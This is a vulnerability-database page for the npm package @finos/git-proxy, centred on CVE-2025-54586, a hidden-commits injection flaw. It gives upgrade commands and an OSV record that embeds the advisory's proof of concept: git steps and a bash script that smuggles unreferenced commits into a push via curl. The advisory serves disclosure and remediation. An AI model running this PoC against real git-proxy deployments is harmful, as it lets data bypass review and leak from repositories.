Vulnerabilities in pkg:npm/@finos/git-proxy
PACKAGECVE-2025-54586 is a HIGH (CVSS 7.1) gitproxy hidden commits injection vulnerability (CWE-200: Exposure of Sensitive Information to an Unauthorized Actor) affecting @finos/git proxy libraries in the npm ecosystem. The issue involves gitproxy hidden commits injection. Remediation is available by upgrading affected packages to version 1.19.2.
pkg:npm/@finos/git-proxy
Vulnerability advisories affecting package pkg:npm/@finos/git-proxy. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-v98g-8rqx-g93g | CVE-2025-54586 | HIGH | GitProxy Hidden Commits Injection |
| GHSA-39p2-8hq9-fwj6 | CVE-2025-54585 | HIGH | GitProxy New Branch Approval Exploit |
| GHSA-xxmh-rf63-qwjv | CVE-2025-54584 | HIGH | GitProxy Backfile Parsing Exploit |
| GHSA-qr93-8wwf-22g4 | CVE-2025-54583 | HIGH | GitProxy Approval Bypass When Pushing Multiple Branches |
CVE-2025-54586 at a Glance
Security Impact
CVSS: 7.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).
How to Fix CVE-2025-54586
To remediate this vulnerability, upgrade all affected @finos/git proxy dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @finos/git-proxy@1.19.2
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @finos/git-proxy
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2025-54586, inspect your project dependencies using npm:
npm ls @finos/git-proxy
Analyze the terminal output to locate any version of @finos/git proxy in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.19.2), your application is affected.
Note: The npm ls @finos/git-proxy command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, where the product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. In @finos/git proxy, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-54586 Affected @finos/git proxy Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@finos/git-proxy
|
npm |
< 1.19.2
|
1.19.2
|
References
Frequently Asked Questions
What is CVE-2025-54586?
Which @finos/git proxy versions are affected?
What version fixes CVE-2025-54586?
Is @finos/git-proxy affected?
What is the CVSS score of CVE-2025-54586?
What CWE is associated with CVE-2025-54586?
How can I check npm dependencies for CVE-2025-54586?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-v98g-8rqx-g93g",
"modified" : "2025-07-31T12:02:22Z",
"published" : "2025-07-30T16:40:40Z",
"aliases" : [ "CVE-2025-54586" ],
"summary" : "GitProxy Hidden Commits Injection",
"details" : "### Summary\nAn attacker can inject extra commits into the pack sent to GitHub, commits that aren’t pointed to by any branch. Although these “hidden” commits never show up in the repository’s visible history, GitHub still serves them at their direct commit URLs. This lets an attacker exfiltrate sensitive data without ever leaving a trace in the branch view. We rate this a High‑impact vulnerability because it completely compromises repository confidentiality.\n\n### Details\n\nThe proxy currently trusts only the ref‑update line (`oldOid → newOid`) and doesn't inspect the packfile’s contents\n\nBecause the code only runs `git rev-list oldOid..newOid` to compute **introducedCommits** but **never** checks which commits actually arrived in the pack, a malicious client can append extra commits. Those “hidden” commits won’t be pointed to by any branch but GitHub still stores and serves them by SHA. \n<img width=\"2556\" height=\"744\" alt=\"Screenshot 2025-07-16 at 12 29 19\" src=\"https://github.com/user-attachments/assets/abf459a9-310b-4819-a989-797c7e871790\" />\n\n### PoC\n\n#### Prerequisites\n\n- A GitHub Personal Access Token stored in `~/.github-test-pat`.\n- A test repository also registered in git-proxy, e.g. `your-org/test-repo.git`, to which you have push rights.\n\n#### 1. Prepare the “visible” and “hidden” commits\n\n```bash\n# Clone the test repository\ngit clone http://localhost:8000/your-org/test-repo.git\ncd test-repo\n\n# 1. Record the original HEAD\nORIG_COMMIT=$(git rev-parse HEAD)\n\n# 2. Create branch 'foo' and add a visible commit\ngit checkout -b foo\necho \"visible commit\" >> file.txt\ngit add file.txt\ngit commit -m \"Visible commit\"\nVISIBLE_COMMIT=$(git rev-parse HEAD)\n\n# 3. Go back to the original commit and create a hidden-branch\ngit checkout $ORIG_COMMIT\ngit checkout -b hidden-branch\necho \"hidden change\" > hidden.txt\ngit add hidden.txt\ngit commit -m \"Hidden commit\"\nHIDDEN_COMMIT=$(git rev-parse HEAD)\n\n# Return to 'foo'\ngit checkout foo\n```\n\n#### 2. Push only the visible commit to branch `foo`\n\n```bash\ngit push --set-upstream origin foo\n# An authorized user approves this push via your normal review workflow\n```\n\n#### 3. Build and push a pack containing the hidden commit\n\nCreate a script named `upload-pack.sh` (replace the placeholder variables with the SHAs you recorded above):\n\n```bash\n#!/usr/bin/env bash\nREMOTE_URL=\"http://localhost:8000/your-org/test-repo.git\"\nREF_NAME=\"refs/heads/foo\"\nORIG_COMMIT=\"<<ORIG_COMMIT>>\"\nNEW_COMMIT=\"<<VISIBLE_COMMIT>>\"\nOLD_COMMIT=\"0000000000000000000000000000000000000000\"\nHIDDEN_COMMIT=\"<<HIDDEN_COMMIT>>\"\n\n# 1. List all objects for the visible and hidden commits\ngit rev-list --objects --no-object-names \"^${ORIG_COMMIT}\" ${NEW_COMMIT} > objects.txt\ngit rev-list --objects --no-object-names \"^${ORIG_COMMIT}\" ${HIDDEN_COMMIT} >> objects.txt\n\n# 2. Pack them into a single packfile\ncat objects.txt\ngit pack-objects --stdout < objects.txt > packfile\n\n# 3. Construct the Git smart‑protocol update header\nprintf \"${OLD_COMMIT} ${NEW_COMMIT} ${REF_NAME}\\0 report-status-v2 side-band-64k object-format=sha1 agent=git/2.39.5\" > update_line\nUPDATE_LINE_LEN=\"$(wc -c < update_line)\"\n\nprintf \"%04x\" $((UPDATE_LINE_LEN + 4)) > output\ncat update_line >> output\n\n# Git smart protocol expects a flush packet\nPKT_FLUSH=\"0000\"\nprintf \"%s\" \"${PKT_FLUSH}\" >> output\n\n# Append the packfile\ncat packfile >> output\n\n# 4. Send the malicious push via curl\ncurl -u ${USER}:\"$(<~/.github-test-pat)\" \\\n -X POST \"${REMOTE_URL}/git-receive-pack\" \\\n -H \"Content-Type: application/x-git-receive-pack-request\" \\\n -H \"Accept: application/x-git-receive-pack-result\" \\\n --user-agent \"git/2.42.0\" \\\n --data-binary @output | cat -v\n```\n\nMake it executable:\n\n```bash\nchmod +x upload-pack.sh\n```\n\nRun it:\n\n```bash\n./upload-pack.sh\n```\n\n#### 4. Verify the hidden commit\n\nOpen in your browser (or via `curl`):\n\n```\nhttps://github.com/your-org/test-repo/commit/<<HIDDEN_COMMIT>>\n```\n\nYou will see the **“Hidden commit”**, even though it is not referenced by any branch.\n\n### Impact\n- **Data Exfiltration (Confidentiality breach):** \n Attackers can inject secrets, credentials, or proprietary data into any repository they push to via git-proxy.\n\n- **Undetectable in UI:** \n Since the hidden commits never appear in branch graphs, standard code review will not surface them.\n\n- **Persistence Window:** \n GitHub retains unreferenced objects for a period long enough to allow automated retrieval before garbage‑collecting them.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@finos/git-proxy"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.19.2"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 1.19.1"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/finos/git-proxy/security/advisories/GHSA-v98g-8rqx-g93g"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-54586"
}, {
"type" : "WEB",
"url" : "https://github.com/finos/git-proxy/commit/9c1449f4ec37d2d1f3edf4328bc3757e8dba2110"
}, {
"type" : "WEB",
"url" : "https://github.com/finos/git-proxy/commit/a620a2f33c39c78e01783a274580bf822af3cc3a"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/finos/git-proxy"
}, {
"type" : "WEB",
"url" : "https://github.com/finos/git-proxy/releases/tag/v1.19.2"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-200" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2025-07-30T16:40:40Z",
"nvd_published_at" : "2025-07-30T22:15:25Z"
}
}